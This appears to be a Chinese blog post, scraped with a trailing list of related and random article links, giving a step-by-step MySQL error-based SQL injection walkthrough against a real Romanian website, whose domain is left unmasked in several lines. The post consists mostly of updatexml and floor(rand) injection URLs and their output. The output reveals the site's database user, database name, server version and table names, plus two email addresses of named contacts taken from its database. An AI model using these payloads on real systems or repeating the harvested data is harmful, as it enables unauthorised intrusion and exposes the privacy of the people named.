MySQL基于报错注入1
0x1 判断注入点:
http://www.xxxx.ro/s.php?id=1'

那么尝试闭合下单引号
http://www.xxxx.ro/s.php?id=1' --+

0x2 枚举下表的列
http://www.xxxx.ro/s.php?id=1' order by 4 --+

http://www.xxxx.ro/s.php?id=1' order by 3 --+

可以判断为3列
0x3 使用updatexml() 获取数据库的相关信息
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

romanian_rowri@localhost
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

romanian_svc
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

5.5.46-0ubuntu0.14.04.2
获取数据库名也可以通过以下方式:
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) --+

0x4 获取库的表名
http://www.romanianwriters.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='romanian_svc' limit 0,1),0x7e),1) --+

ra_autori
ra_carti
ra_carti_autori
ra_carti_critics
ra_carti_pdf
ra_contact
未发现相关后台的表,最后通过SQLmap确认确实没啥大的用处。

0x5 获取标的字段
ra_contact
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='ra_contact' limit 0,1),0x7e),1) --+

id,nume,functie,email,poza
0x6 获取字段数据
http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x23,id,0x3a,email,0x23) from ra_contact limit 0,1),0x7e),1) --+

1:catalina.staicu@polirom.ro
4:lucian.teodorovici@polirom.ro
另外一种方式:
http://www.xxxx.ro/s.php?id=1' and '1'='1 #闭合
http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取当前数据库:
http://www.romanianwriters.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
romanian_svc
获取当前数据库权限:
http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
romanian_rowri@localhost
获取库对应的表
http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取表的数据
http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,id,0x3a,email,0x23) FROM romanian_svc.ra_contact limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

完结!
MySQL基于报错注入1的更多相关文章
- MySQL基于报错注入2
目标站点: 0x1 注入点判断 http://www.xxxxxx.com/pages/services.php?id=1 #true http://www.xxxxxx.com/pages/serv ...
- mysql基于“报错”的注入
报错是如何转为xss的? mysql语句在页面报错,泄露信息 ===================================================================== ...
- MYSQL updatexml报错注入
首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为X ...
- 【菜鸟学注入】之MySQL报错注入详解
本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...
- SQL注入之Mysql报错注入
--志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
- 又一种Mysql报错注入
from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...
随机推荐
- Create a Solution using the Wizard 使用向导创建解决方案
In this lesson, you will learn how to create a new XAF solution. You will also be able to run the ge ...
- 高通平台开机LOGO修改LK(bootloader)下实现【转】
网络上已经有许多在kernel中修改开机Logo的文章,本文就LK下实现开机logo进行简述 需要用到ffmpeg工具,没有安装ffmpeg请参考这里: http://blog.csdn.net/re ...
- ping测试丢包率
测试环境:Centos 6.4 增加参数:-i 例如: #ping -i 0.01 172.16.3.1 则每隔0.01秒ping一次
- C++ class内类型重载,operator Type()
#include <iostream> // operator Type() 类型操作符重载 // operator int() // operator double() // ... / ...
- [译]发布ABP v0.19包含Angular UI选项
发布ABP v0.19包含Angular UI选项 ABP v0.19已发布,包含解决的~90个问题和600+次提交. 新功能 Angular UI 终于,ABP有了一个SPA UI选项,使用最新的A ...
- 【Resharper】C# “Simplify conditional ternary expression”
#事故现场: 对某个对象做空值检测的时候,结合三元运算符给某变量赋值的时候,R#提示:"Simplify conditional ternary expression" : R#建 ...
- SqlServer PIVOT行转列
PIVOT通过将表达式某一列中的唯一值转换为输出中的多个列来旋转表值表达式,并在必要时对最终输出中所需的任何其余列值执行聚合. 测试数据 INSERT INTO [TestRows2Columns] ...
- Java字符串面试问答
字符串是使用最广泛的Java的类之一.在这里,我列出了一些重要的Java的字符串面试问答. 这将有助于您全面了解String并解决面试中与String有关的任何问题. Java基础面试问题 Java中 ...
- 【MySQL报错】ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot exec ...
- Spring Session工作原理
本文首发于 vivo互联网技术 微信公众号 https://mp.weixin.qq.com/s/KCOFv0nRuymkX79-RZi9eg 作者:张正林 目录:1.引入背景2.使用方法3.工作流程 ...